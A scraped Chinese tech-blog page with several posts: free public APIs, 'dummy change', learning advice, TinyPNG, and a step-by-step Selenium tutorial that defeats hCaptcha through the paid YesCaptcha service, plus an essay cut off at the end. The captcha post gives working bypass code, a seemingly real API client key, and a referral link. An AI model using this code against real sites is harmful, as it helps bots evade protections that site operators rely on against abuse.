0%

技术杂谈

在某些情况下,我们可能想做一些 Demo 或者写一些测试,比如想做个网站展示一些宠物的图片,或者想实现某个 API 请求的实现逻辑,这时候你会怎么做呢?

自己找点数据然后搭建一套 API 接口吗?

可以是可以,虽然说并不是特别麻烦,但准备数据、编写逻辑、设置跨域等还是要费一些时间的。

其实,网上有很多很多免费的 API 接口可以直接拿来用的,而且各种类型的数据应有尽有,有了它们,我们就不用费尽心思自己搭建 API 了。

接下来就来给大家介绍一个库,里面收集了各种公开的数据接口。

public-apis

这个仓库就叫做 public-apis,其 GitHub 地址是 https://github.com/public-apis/public-apis

其介绍是:

A collective list of free APIs for use in software and web development

一套公开 API,可以用于软件和 Web 开发。

这些API 特别全面,包含了各种各样的类别。

比如我们先来看下他的一些分类:

如图所示,可以看到这个仓库划分了很多大类别,比如动物、设计、书籍、商业、娱乐等几十个大类,按照字母排序,每个大类都有对应的 API 可供我们使用。

比如我们先看下动物的分类,则可以发现类似如下的表格:

这个表格一共有五列,包括 API 的地址、描述、是否需要 Auth、是否支持 HTTPS、是否支持跨域,可以看到动物类别就有好多 API,比如 Dogs、Cats、Bear 等等,这些 API 就可以返回一些猫、狗、熊等图片的列表。

一般来说,我们可以选择 Auth 为 No,HTTPS 为 Yes、CORS 为 Yes 的,即使用 API 不需要 key,同时支持 HTTPS,而且支持跨域,这样在网页中我们就可以自由调用了。

我们随便选几个来看下。

实例演示

Dogs API 就是其中一个,网址为 https://dog.ceo/dog-api/

打开之后我们可以看到一个介绍网站,同时这里有一个 Fetch 按钮,我们点一下就可以获得一张随机的狗狗图片。

其 API 地址就是 https://dog.ceo/api/breeds/image/random,我们也可以直接用浏览器打开,结果如下:

可以看到返回结果是 JSON 格式,我们对其进行简单解析就可以提取里面的 message 字段,也就能获得一张随机的狗狗照片,然后展示在网站上了。

简单写个 html 页面,几行代码就可以实现随机狗狗图片的展示:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<img id="dog" />
</body>
<script>
fetch("https://dog.ceo/api/breeds/image/random")
.then((response) => response.json())
.then((data) => {
document.getElementById("dog").src = data.message;
});
</script>
</html>

运行效果如下:

是不是还是挺方便的?

另外回到网站本身,它还提供了相关文档介绍所有接口的用法:https://dog.ceo/dog-api/documentation/

比如这里有列出所有狗的品种、根据品种返回狗的照片、随机狗的照片等等,具体可以去看文档哈。

其他介绍

另外其实还有很多有意思的 API,我们随便来看几个。

EmojiHub

比如 EmojiHub 这个 API 提供了接口来返回一些 Emoji 表情,种类丰富多种多样,https://github.com/cheatsnake/emojihub

Icon Horse

Icon Horse 提供了各种返回网站图标的功能,https://icon.horse/

比如维基百科就可以填写 Wikipedia.org,就可以获取其网站图标了:

bible-api

这个 API 提供了多语言版本的《圣经》内容:https://bible-api.com/

Free Dictionary API

Free Dictionary API 提供了各种单词的查询和释义,我们可以直接用 API 获取某个单词的含义、发音、音标、翻译等:https://dictionaryapi.dev/

EconDB

EconDB 提供了全球宏观经济数据,公开免费:https://www.econdb.com/

NBA stats

NBA Stats 提供了 NBA 有史以来各种数据,比如每场比赛数据、球员数据等等:https://any-api.com/nba_com/nba_com/docs/API_Description

Nobel Prize

Nobel Prize 这个接口返回了有关诺贝尔奖项的各种记录和活动:https://www.nobelprize.org/about/developer-zone-2/

Faker API

Faker API 提供了各种假数据生成器,比如生成假名字、假地址、假电话号码、假地理位置等等,方便测试和开发使用:https://fakerapi.it/en

更多

总之,还有很多很多很多,当然其中也有收费的。

大家到时候有想要的数据可以来这里先搜搜看,说不定会有意外惊喜呢!

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

img

最近在工作上遇到了一个新词:dummy change,是在邮件沟通过程中遇到的,起因是某个 Pipeline 有个 Bug,但配置文件又没啥问题,所以对方建议让我对配置文件做点 dummy change,然后来触发 Pipeline 的刷新。

我一开始就不懂,啥叫 dummy change 啊?

然后我就查了下,这里分享给大家。

dummy,意思就是假的意思,就是假的 change,就是实际上变了,但看起来又没变。

img

比如,一个文件,我们在某个地方加个空格、加个空行,表面上其实配置文件的内容没有变化,配置还是原来的配置,但是文件本身因为一个空行或者空格而发生了变化。

所以,dummy change 其实大多数就是文件某处改个空格、加个空行、修改点无关紧要注释啥的,没啥本质影响,但实际让文件本身变化,以便引发一些相关操作。

希望对大家有帮助。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

个人随笔

时代在发展,我们也需要不断进步和学习。

在一生中我们需要学习各种各样的新知识,但有时候我们在学习的时候可能感觉比较茫然,或者无从下手,或者不知道这个知识到底有什么用,或者学的过程中都不知道学到哪里了,还有多少才会学完。

这里,分享我看《暗时间》书了解到的一些技巧。

主要就是三个,也就是说,学习知识时来问自己三个问题:

  • 它的本质是什么

  • 它的第一原则是什么

  • 它的知识结构是怎样的

它的本质是什么

我们拿技术知识为例,比如我们要学 Django 开发一个网页,那么我们实际上是学了什么?实际上是学了一些 Django 的 API 和命令的用法、 Python 的语法。我们根据 API 的操作说明做了,那其实就能完成一个网页的搭建,因为我们使用了它现有的框架,基于现有的轮子来做东西。

但这里来了一个问题,假如我们之前是基于 1.10 版本的 Django 框架开发的网页,但现在 Django 升级到了 3.0,很多 API 的用法都变了,那之前 1.10 的 API 即使我们用的滚瓜烂熟甚至都背过了都没啥用了,因为 API 改了,那我们就不得不再去查文档看具体的用法。

这时候,我们要想想,学习这个 Django 技术的过程中,我们学到的是什么?实际上我们学到的就是 Django 框架的一些 API 用法,利用 Django 这个框架写了自己的业务逻辑而已,Django 已经帮我们处理了很多底层的东西,从而快速成型了一个网站。而网站的本质又是什么?实际上就是用户在浏览器中输入对应的 URL,然后服务器对相应的请求进行处理,并返回对应的内容,这本身又涉及到计算机网络很多的基础知识,比如请求都包含了什么,怎样进行逻辑处理,怎样和数据库交互,怎样返回响应,这些 Django 都帮我们做了,我们在写的时候无需关心得这么底层,但我们需要知道这背后发生的事情。如果我们压根不知道 Django 背后发生了什么,只是知道 API 变了,那出现问题的时候,我们根本不知道怎么去追查问题,不可能去从源码级别分析根本原因,也不知道怎么去优化和提速。

上面只是一个例子,很多知识其实背后都有其本质的东西,和一些不变的东西。而越本质的东西基本上变化的情形越少。

我们经常会感叹自己跟不上新技术的发展,却往往忽略了这些新技术背后都是什么。现在很多的新技术只是一层皮而已,比如 Django 框架基于 Python 对计算机网络、数据库等底层内容进行了很好的封装,比如 Scrapy 框架底层就包括网络请求处理、消息队列等内容,Vue 框架则是基于原生 JavaScript 对数据监听和绑定做了很好的封装和优化,通过虚拟 DOM 等机制来处理了页面渲染。那这些技术还有没有更底层的内容呢?有,比如浏览器、操作系统、计算机体系结构、计算机组成相关的内容。越追到底层,越发现其本质越是不变的。

另外,除了一些技术相关的本质内容,还有一些不变和永不过时的东西,比如算法和数据结构、基本的程序设计理论、良好的编码习惯、分析和解决问题的能力、强大的学习能力、旺盛的求知欲、良好的思维方式。

所以,我们尽量去抓住一些本质的、不过时的东西,这些才是最稳的。

第一原则是什么

刚才我们说了,学一个东西我们要了解本质的东西,那么难道我要在学习 Django 框架的时候要把计算机网络、操作系统、计算机组成原理等所有的东西全都挨个学一遍?这得学到猴年马月啊。

所以,这里需要澄清的一点是,我们说要了解本质是什么并不是要求我们现在立马就把本质的东西全部去了解清楚,因为这里面的体系实在是太庞大了,递归学进去啥时候才能出得来啊?

所以,我们可以先从大致层面上知道它的本质,知道这个要学的知识在整个知识体系中处于一个怎样的位置上,有一个整体大局观。然后其本质的东西,我们有时间可以重点再一个个突破,因为毕竟这是很多技术的共性。

所以,这里就再引出了第二个需要注意的点:我们要知道学习这个东西的第一原则是什么。

比如我要学习好 Django 框架,那么我的原则其实就是学会 Django 的 API 和命令的用法,然后能够利用它搭建好网站,知道它能够做什么,有什么优缺点,有问题了知道怎么查,这是第一原则。

在学习的时候,我们按照这个原则来学习,这样整体效率和方向感就会好很多。

这“第一原则”听起来和刚才说的“了解本质”有点冲突啊?但实际上不冲突,“第一原则”说的是我们学知识的时候我们心里有一个目标和原则和大方向,“了解本质”是说我们也要知道这项知识它的整体定位和其背后都是什么。至于本质的东西,我们后面可以再慢慢去击破,去慢慢深入了解。

知识体系是什么

知识体系嘛,顾名思义,就是整体脉络。

我们常常会觉得学习一个技术,不知道啥时候是个头,不知道学到哪里了,这其实就是缺乏了整体的知识体系。

一个知识体系可以帮我们在头脑中建立一个整体的框架,其实就像一本书的目录大纲,一门课的思维导图一样,多去了解下这些内容,会帮助我们很好地建立一个知识体系。

另外,某些知识可能并没有现成的知识体系,我们也要想办法构建一个知识体系。

这里有一个小技巧,学习一个领域知识的时候,时时把“最终能写出一篇漂亮的综述”放在大脑中提醒自己,这有助于我们在阅读中有意无意地整理知识的结构、本质和重点,经过整理之后的知识理解也会更深刻。

共勉。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

我们肯定经常跟图片打交道吧,不管是写文章、传图片还是网站开发,我们或多或少都要插图,但有时候图片体积比较大的时候就会带来加载速度慢的一些问题,那么这时候你可能会有这么一个需求:

有没有什么办法在保证图片清晰度的时候把图片的体积压缩到最小?

大家通常会用什么办法呢?

我的话其实用的比较多的办法就是使用 PS,然后另存为 Web 所用格式,但用到这个功能我还得额外装个 PS,感觉比较麻烦。

所以,今天给大家推荐一个非常好用的图片压缩网站,可以将图片体积缩小一大半,同时几乎不改变图片清晰度。

简介

直接开门见山,网站地址是:https://tinypng.com/,名称就叫 TinyPNG。

看名字我们就知道 tiny + png,tiny 就是小,png 就是图片的一种格式,就和图片压缩很接近了,简单好记。

那它的主要功能是什么呢?我们来看下主页:

可以看到,网站的一个大标题就是 “Smart WebP, PNG and JPEG compression”,意思就是智能的 WebP、PNG 和 JPEG 格式的压缩工具。

那么这个网站做了什么呢?

TinyPNG 网站举了一个例子:

可以看到原始图片和压缩后的图片对比几乎没有什么差别,而压缩前图片有 57KB,压缩后只有 15 KB。

测试

看介绍感觉很厉害的样子啊,那我们来测试下看看吧,这次我们从网上先保存一张图片来看看:

这张图片原图大小是 3.5MB,分辨率是 2356x1310,如图所示:

下面我们来上传下,点击这里就可以上传了,或者直接把图片拖拽到这个位置就可以:

这里写着我们可以上传最多 20 张图片,每张图片大小不超过 5MB,感觉这个限制已经相对宽松了。

压缩完成之后显示,我们图片的最终大小成了 999.1KB,整整缩小了 71%!

到底效果行不行,拉出来溜溜。

然后我们可以直接点击 Download 按钮下载下来就好,压缩后的图片效果如下:

放在一起对比下:

能看出哪个才是原图吗?

其实第二张才是原图,是不是几乎看不出什么差别?

背后技术

看简介可以了解到,TinyPNG 这个网站使用了有损压缩技术来减小 WebP、PNG、JPEG 格式图片的文件大小,它通过有选择地减少图像中的颜色数量来达到压缩效果,同时由于咱们人眼对这种细微颜色变化感知比较弱,所以压缩前后图片在人眼看到几乎是没什么区别的。

对于 PNG 图片来说,它其实细分为 PNG-8 和 PNG-24,它们有什么区别呢?

其实我们知道,每一个图片都是由一个个像素点组成的对吧,每一个像素点都有一定的颜色,那许许多多的像素点排列在一起就组成了一张图片。

在计算机里面,每个像素点其实都有一定的存储单位来表示,对于 PNG-8 来说,一个像素点是由 8 位二进制数表示的,而计算机中 8 位最多表示 2 的八次方,即 256 种组合,其实一个像素就能显示 256 种颜色。同理,而 PNG-24 就相当于一个像素点用 24 位来表示,所以能表示的颜色数量就是 2 的 24 次方,结果约 1600 万。所以 PNG-24 相比 PNG-8 来说每个像素可表示的颜色就多非常多,色彩也就更丰富,所以 PNG-24 适合摄影作品之类的比较丰富的图片。但随之而来的 ,PNG-24 的文件体积相比 PNG-8 也会大很多。

而对于人眼来说,其实一张图片用 PNG-8 和 PNG-24 来表示,如果不仔细放大看的话,效果其实不太明显。所以有时候我们为了更高的压缩比,就可以选用 PNG-8 这种图片存储格式,其体积会小一大半,加载速度也会快很多。

所以这种图很适合在网站开发的时候使用,所以你可以看到一些网站的 Logo、Banner 图都是 PNG-8 类型的图片。

所以实际上,TinyPNG 这个网站其实就是把 PNG-24 的图转成了 PNG-8 而已。

进一步测试

那知道原理之后,我们如果把 PNG-8 的图片再上传给 TinyPNG 这个网站,还能获得压缩吗?

我们来试试。

可以看到,我们将压缩后的图片再次尝试压缩,这次最终可能就是 959.9 KB 了,只获得了 4% 的压缩,所以可以看到几乎也没有什么压缩空间了。因为它无法再将 PNG-8 进一步降低每个像素的表示位数了。

支持情况

看来这个压缩效果的确还可以的,那么它的兼容性怎么样?

介绍说,它支持所有主流的浏览器,比如 Chrome、Firefox、Safari、Edge 甚至一些移动设备浏览器也是有很好的支持的,所以平时只要我们有浏览器,就能用了。

支持 APNG 吗?

不知道大家有没有听说过一种 PNG 图片格式,叫做 APNG,其实就是 Animated PNG,就是可以动的 PNG 图片,比如这张图片:https://ezgif.com/images/apng.png

大家可以打开看看效果。

对于这种图片,现在主流的浏览器也都支持显示了,如果你的浏览器支持,那么能看到这张图片是动的。

TinyPNG 对 APNG 这种格式也是支持的!

对于 PS 的支持

TinyPNG 也提供了 PS 的插件,安装之后我们也可以在 PS 里面直接使用 TinyPNG 了:

这个插件适用于 PS 的 CS5、CS6、CC2013-2022 所有版本。

具体大家可以看 https://tinypng.com/photoshop

不过坏消息是,这个插件是收费的,大家按需上车。

总结

好了,以上就是本文章全部内容了,希望对大家有帮助。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

爬虫

前面的文章我们介绍过 ReCaptcha 的模拟点击破解教程,但除了 ReCaptcha,还有另外和 ReCapacha 验证流程很相似的验证码,叫做 HCaptcha。

ReCaptcha 是谷歌家的,因为某些原因,咱们国内是无法使用 ReCaptcha 的,所以有时候 HCaptcha 也成了一些国际性网站的比较好的选择。

那今天我们就来了解下 HCaptcha 和它的模拟点击破解流程。

HCaptcha

我们首先看看 HCaptcha 的验证交互流程,其 Demo 网站为 https://democaptcha.com/demo-form-eng/hcaptcha.html,打开之后,我们可以看到如下的验证码入口页面:

看起来入口和 ReCaptcha 很相似的对吧,其实验证流程也是很类似的。

当我们点击复选框时,验证码会先通过其风险分析引擎判断当前用户的风险,如果是低风险用户,便可以直接通过,反之,验证码会弹出对话框,让我们回答对话框中的问题,类似如下:

这时候我们看到 HCaptcha 验证码会给我们一个问题,比如上图的问题是「请点击每张包含飞机的图片」,我们需要从下面的九张图中选择出含有飞机的图片,如果九张图片中,没有飞机,则点击「跳过 / Skip」按钮,如果有,则将所有带有飞机的图片都选择上,跳过按钮会变成「检查 / Verify」按钮,验证通过之后我们就可以看到如下的验证成功的效果了:

是不是整体流程和 ReCaptcha 还是还是非常相近的?

但其实这个比 ReCaptcha 简单一些,它的验证码图片每次一定是 3x3 的,没有 4x4 的,而且点击一个图之后不会再出现一个新的小图让我们二次选择,所以其破解思路也相对简单一些。

如何破解

整个流程其实我们稍微梳理下,就知道整体的的破解思路了,有这么两个关键点:

  • 第一就是把上面的文字内容找出来,以便于我们知道要点击的内容是什么。

  • 第二就是我们要知道哪些目标图片和上面的文字是匹配的,找到了依次模拟点击就好了。

听起来似乎很简单的对吧,但第二点是一个难点,我们咋知道哪些图片和文字匹配的呢?这就是一个难题。

前面 ReCaptcha 的破解过程我们了解过了使用 YesCaptcha 来进行图片的识别,除了 ReCaptcha,YesCaptcha 其实也支持 HCaptcha 的验证码识别,利用 YesCaptcha 我们也能轻松知道哪些图片和输入内容是匹配的。

下面让们来试试看。

YesCaptcha

在使用之前我们需要先注册下这个网站,网站地址是 https://yescaptcha.com/i/CnZPBu ,注册个账号之后大家可以在后台获取一个账户密钥,也就是 ClientKey,保存备用。

OK,然后我们可以查看下这里的官方文档:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/24543233/HCaptchaClassification+Hcaptcha,这里介绍介绍了一个 API,大致内容是这样的。

首先有一个创建任务的 API,API 地址为 https://api.yescaptcha.com/createTask,然后看下请求参数:

这里我们需要传入这么几个参数:

  • type:内容就是 ****

  • queries:是验证码对应的 Base64 编码,这里直接转成一个列表就可以

  • question:对应的问题 ID,也就是识别目标的代号,这里其实就是问题整句的内容

  • corrdinate:一个返回结果的控制开关,默认会返回每张图片识别的 true / false 结果,也就是第 x 张图片是否和图片匹配,如果加上该参数,那么 API 就会返回对应匹配图片的索引。

比如这里我们可以 POST 这样的一个内容给服务器,结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "HCaptchaClassification",
"queries": [
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
...
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
],
"question": "请单击每个包含卡车的图像。" // 直接上传问题整句
}
}

然后服务器就会返回类似这样的响应:

1
2
3
4
5
6
7
8
9
10
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, true, true, false, true, true] // 返回图片是否为目标,
"labels": ["truck", "boat", "boat", "truck", "truck", "airplane-right", "truck", "truck"] // 返回图片对应的标签
},
"taskId": "5aa8be0c-94a5-11ec-80d7-00163f00a53c""
}

OK,我们可以看到,返回结果的 solution 字段中的 objects 字段就包含了一串 true 和 false 的列表,这就代表了每张图片是否和目标匹配。

知道了这个结果之后,我们只需要将返回结果为 true 的图片进行模拟点击就好了。

代码基础实现

行,那有了基本思路之后,那我们就开始用 Python 实现下整个流程吧,这里我们就拿 https://democaptcha.com/demo-form-eng/hcaptcha.html 这个网站作为样例来讲解下整个识别和模拟点击过程。

识别封装

首先我们对上面的任务 API 实现一下封装,来先写一个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests


class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, queries, question):
logger.debug(f'start to recognize image for question {question}')
data = {
"clientKey": self.api_key,
"task": {
"type": "HCaptchaClassification",
"queries": queries,
"question": question
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,这里我们就先定义了一个类 CaptchaResolver,然后主要接收两个参数,一个就是 api_url,这个对应的就是 https://api.yescaptcha.com/createTask 这个 API 地址,然后还有一个参数是 api_key,这个就是前文介绍的那个 ClientKey。

接着我们定义了一个 create_task 方法,接收两个参数,第一个参数 queries 就是每张验证码图片对应的 Base64 编码,第二个参数 question 就是要识别的问题整句,这里就是将整个请求用 requests 模拟实现了,最后返回对应的 JSON 内容的响应结果就好了。

基础框架

OK,那么接下来我们来用 Selenium 来模拟打开这个实例网站,然后模拟点选来触发验证码,接着识别验证码就好了。

首先写一个大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

这里我们先在构造方法里面初始化了一个 Chrome 浏览器操作对象,然后调用对应的 get 方法打开实例网站,接着声明了一个 WebDriverWait 对象和 CaptchaResolver 对象,以分别应对节点查找和验证码识别操作,留作备用。

iframe 切换支持

接着,下一步我们就该来模拟点击验证码的入口,来触发验证码了对吧。

通过观察我们发现这个验证码和 ReCaptcha 非常类似,其入口其实是在 iframe 里面加载的,对应的 iframe 是这样的:

另外弹出的验证码图片又在另外一个 iframe 里面,如图所示:

Selenium 查找节点是需要切换到对应的 iframe 里面才行的,不然是没法查到对应的节点,也就没法模拟点击什么的了。

所以这里我们定义几个工具方法,分别能够支持切换到入口对应的 iframe 和验证码本身对应的 iframe,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'.h-captcha > iframe')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "Main content")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

这样的话,我们只需要调用 switch_to_captcha_content_iframe 就能查找验证码图片里面的内容,调用 switch_to_captcha_entry_iframe 就能查找验证码入口里面的内容。

触发验证码

OK,那么接下来的一步就是来模拟点击验证码的入口,然后把验证码触发出来了对吧,就是模拟点击这里:

实现很简单,代码如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#anchor #checkbox')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
captcha_element: WebElement = self.get_captcha_element()
if captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

这里首先我们首先调用 switch_to_captcha_entry_iframe 进行了 iframe 的切换,然后找到那个入口框对应的节点,然后点击一下。

点击完了之后我们再调用 switch_to_captcha_content_iframe 切换到验证码本身对应的 iframe 里面,查找验证码本身对应的节点是否加载出来了,如果加载出来了,那么就证明触发成功了。

找出识别目标

OK,那么现在验证码可能就长这样子了:

那接下来我们要做的就是两件事了,一件事就是把匹配目标,也就是问题本身找出来,第二件事就是把每张验证码保存下来,然后转成 Base64 编码。

好,那么怎么查找问题呢呢?用 Selenium 常规的节点搜索就好了:

1
2
3
4
def get_captcha_target_text(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.prompt-text')))
return captcha_target_name_element.text

通过调用这个方法,我们就能得到上图中完整的问题文本了。

验证码识别

接下来,我们就需要把每张图片进行下载并转成 Base64 编码了,我们观察下它的 HTML 结构:

我们可以看到,每个验证码其实都对应了一个 .task-image 的节点,然后里面有个 .image-wrapper 的节点,在里面有一个 .image 的节点,那图片怎么呈现的呢?这里它是设置了一个 style CSS 样式,通过 CSS 的 backgroud 来设置了验证码图片的地址。

所以,我们要想提取验证码图片也比较容易了,我们只需要找出 .image 节点的 style 属性的内容,然后提取其中的 url 就好了。

得到 URL 之后,转下 Base64 编码,利用 captcha_resolver 就可以对内容进行识别了。

所以代码可以写为如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def verify_captcha(self):
# get target text
self.captcha_target_text = self.get_captcha_target_text()
logger.debug(
f'captcha_target_text {self.captcha_target_text}'
)
# extract all images
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image .image-wrapper .image')))
resized_single_captcha_base64_strings = []
for i, single_captcha_element in enumerate(single_captcha_elements):
single_captcha_element_style = single_captcha_element.get_attribute(
'style')
pattern = re.compile('url\("(https.*?)"\)')
match_result = re.search(pattern, single_captcha_element_style)
single_captcha_element_url = match_result.group(
1) if match_result else None
logger.debug(
f'single_captcha_element_url {single_captcha_element_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), 'wb') as f:
f.write(requests.get(single_captcha_element_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), (100, 100))
resized_single_captcha_base64_strings.append(
resized_single_captcha_base64_string)

logger.debug(
f'length of single_captcha_element_urls {len(resized_single_captcha_base64_strings)}')

这里我们提取出来了每张验证码图片的 url,这里是用正则表达式进行批评的,提取出 url 之后,我们然后将其存入了 resized_single_captcha_base64_strings 列表里面。

其中这里的 Base64 编码我们单独定义了一个方法,传入了图片路径和调整大小,然后可以返回编码后的结果,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image
import base64
from app.settings import CAPTCHA_RESIZED_IMAGE_FILE_PATH


def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

图片识别

好,那么现在我们已经可以得到问题内容了,也能得到每张图片对应的 Base64 编码了,我们直接利用 YesCaptcha 进行图像识别就好了,代码调用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# try to verify using API
captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_strings,
self.captcha_target_text
)
if not captcha_recognize_result:
logger.error('count not get captcha recognize result')
return
recognized_results = captcha_recognize_result.get(
'solution', {}).get('objects')

if not recognized_results:
logger.error('count not get captcha recognized indices')
return

如果运行正常的话,我们可能得到如下的返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, false, true, false, true, true, false],
"labels": [
"boat",
"seaplane",
"bicycle",
"train",
"boat",
"train",
"boat",
"boat",
"bus"
]
},
"taskId": "25fee484-df63-11ec-b02e-c2654b11608a"
}

现在我们可以看到 sulution 里面的 objects 字段就包含了 true false 的列表,比如第一个 true 就代表了第一个验证码是和问题匹配的,第二个 false 就代表了第二个验证码图片和问题是不匹配的。那序号和图片又是怎么对应的呢?见下图:

从左到右一行行地数,序号依次递增,比如第一行第一个序号就是 0,那么其结果就是 objects 结果里面的第一个结果,true。

模拟点击

现在我们已经得到 true false 列表了,我们只需要将结果是 true 的序号提取出来,然后对这些验证码小图点击就好了,代码如下:

1
2
3
4
5
6
7
8
9
# click captchas
recognized_indices = [i for i, x in enumerate(recognized_results) if x]
logger.debug(f'recognized_indices {recognized_indices}')
click_targets = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image')))
for recognized_index in recognized_indices:
click_target: WebElement = click_targets[recognized_index]
click_target.click()
time.sleep(random())

当然我们也可以通过执行 JavaScript 来对每个节点进行模拟点击,效果是类似的。

这里我们用 for 循环将 true false 列表转成了一个列表,列表的每个元素代表 true 在列表中的位置,其实就是我们的点击目标了。

然后接着我们获取了所有的验证码小图对应的节点,然后依次调用 click 方法进行点击即可。

这样我们就可以实现验证码小图的逐个识别了。

点击验证

好,那么有了上面的逻辑,我们就能完成整个 HCaptcha 的识别和点选了。

最后,我们模拟点击验证按钮就好了:

1
2
3
4
5
# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

而 verfiy_button 的提取也是用 Selenium 即可:

1
2
3
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, '.button-submit')))
return verify_button

校验结果

点击完了之后,我们可以尝试检查网页变化,看看有没有验证成功。

比如验证成功的标志就是出现一个绿色小对勾:

检查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.CSS_SELECTOR, '#anchor #checkbox'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

这里我们先切换了 iframe,然后检查了对应的 class 是否是符合期望的。

最后如果 get_is_successful 返回结果是 True,那就代表识别成功了,那就整个完成了。

如果返回结果是 False,我们可以进一步递归调用上述逻辑进行二次识别,直到识别成功即可。

1
2
3
4
5
6
# check if succeed
is_succeed = self.get_is_successful()
if is_succeed:
logger.debug('verifed successfully')
else:
self.verify_captcha()

代码

以上代码可能比较复杂,这里我将代码进行了规整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/HCaptchaResolver

注册地址

最后需要说明一点,上面的验证码服务是收费的,每验证一次可能花一定的点数,比如识别一次 3x3 的图要花 10 点数,而充值一块钱就能获得 1000 点数,所以识别一次就一分钱,还是比较便宜的。

我这里充值了好几万点数,然后我就变成了 VIP5 级的账号。我研究了下发现大家如果用我的邀请链接 https://yescaptcha.com/i/CnZPBu 注册大家可以直接变成 VIP4,然后 VIP4 可以获取首充赠送 10% 的优惠,还不错哈~

希望本文对大家有帮助。

个人记录

你有没有过这样的经历:现在自媒体、短视频兴起的时代,我们有时候听到好像两种完全的对立的观点,但我们有时候可能觉得这也对,那也对,但我们就没能力去反驳和佐证某个观点。听风就是雨,觉得自己没有能力去分辨哪些是对的,哪些是错的。我们的大脑好像就像别人观点的跑马场,听到这个观点,脑子中过一遍,好像觉得又道理,又来了一个相反的观点,脑子中过一遍,好像也有道理。但很明显,二者肯定只有一个是对的,那为什么我们就没有能力分辨呢?

这是因为,我们脑中的知识储备还不够,对一个问题的思考还不够深刻。

读书是我们摄入知识的一个重要来源,就拿看书来说吧。

